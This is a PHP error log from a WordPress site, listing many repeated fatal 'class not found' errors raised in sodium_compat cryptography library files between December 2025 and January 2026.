[06-Dec-2025 18:49:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[06-Dec-2025 18:49:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[06-Dec-2025 18:49:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[06-Dec-2025 18:49:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[06-Dec-2025 18:59:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[06-Dec-2025 18:59:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[06-Dec-2025 18:59:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[06-Dec-2025 18:59:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[06-Dec-2025 18:59:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[06-Dec-2025 18:59:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[06-Dec-2025 18:59:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[06-Dec-2025 18:59:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[06-Dec-2025 18:59:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[06-Dec-2025 18:59:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[06-Dec-2025 18:59:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[06-Dec-2025 18:59:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[06-Dec-2025 18:59:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[06-Dec-2025 18:59:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[06-Dec-2025 18:59:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[06-Dec-2025 18:59:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[23-Dec-2025 11:46:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[23-Dec-2025 11:46:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[23-Dec-2025 11:46:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[23-Dec-2025 11:46:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[23-Dec-2025 11:46:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[23-Dec-2025 11:47:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[23-Dec-2025 11:47:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[23-Dec-2025 11:47:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[23-Dec-2025 11:47:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[23-Dec-2025 11:47:12 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[23-Dec-2025 11:47:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[23-Dec-2025 11:47:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[23-Dec-2025 11:47:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[23-Dec-2025 11:47:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[23-Dec-2025 11:47:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[23-Dec-2025 11:47:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[23-Dec-2025 12:02:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[23-Dec-2025 12:02:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[23-Dec-2025 12:03:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[23-Dec-2025 12:03:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[23-Dec-2025 12:03:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[23-Dec-2025 12:03:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[23-Dec-2025 12:03:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[23-Dec-2025 12:03:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[23-Dec-2025 12:03:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[23-Dec-2025 12:03:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[23-Dec-2025 12:03:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[23-Dec-2025 12:03:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[23-Dec-2025 12:03:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[23-Dec-2025 12:03:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[23-Dec-2025 12:03:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[23-Dec-2025 12:03:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[24-Dec-2025 15:01:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[24-Dec-2025 15:01:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[24-Dec-2025 15:01:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[24-Dec-2025 15:01:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[24-Dec-2025 15:01:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[24-Dec-2025 15:02:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[24-Dec-2025 15:02:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[24-Dec-2025 15:02:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[24-Dec-2025 15:02:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[24-Dec-2025 15:02:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[24-Dec-2025 15:02:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[24-Dec-2025 15:02:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[24-Dec-2025 15:02:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[24-Dec-2025 15:02:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[24-Dec-2025 15:02:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[24-Dec-2025 15:03:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[24-Dec-2025 15:24:12 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[24-Dec-2025 15:24:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[24-Dec-2025 15:24:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[24-Dec-2025 15:24:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[24-Dec-2025 15:24:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[24-Dec-2025 15:24:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[24-Dec-2025 15:24:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[24-Dec-2025 15:25:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[24-Dec-2025 15:25:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[24-Dec-2025 15:25:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[24-Dec-2025 15:25:12 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[24-Dec-2025 15:25:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[24-Dec-2025 15:25:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[24-Dec-2025 15:25:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[24-Dec-2025 15:25:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[24-Dec-2025 15:25:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[04-Jan-2026 10:11:12 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[04-Jan-2026 10:11:12 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
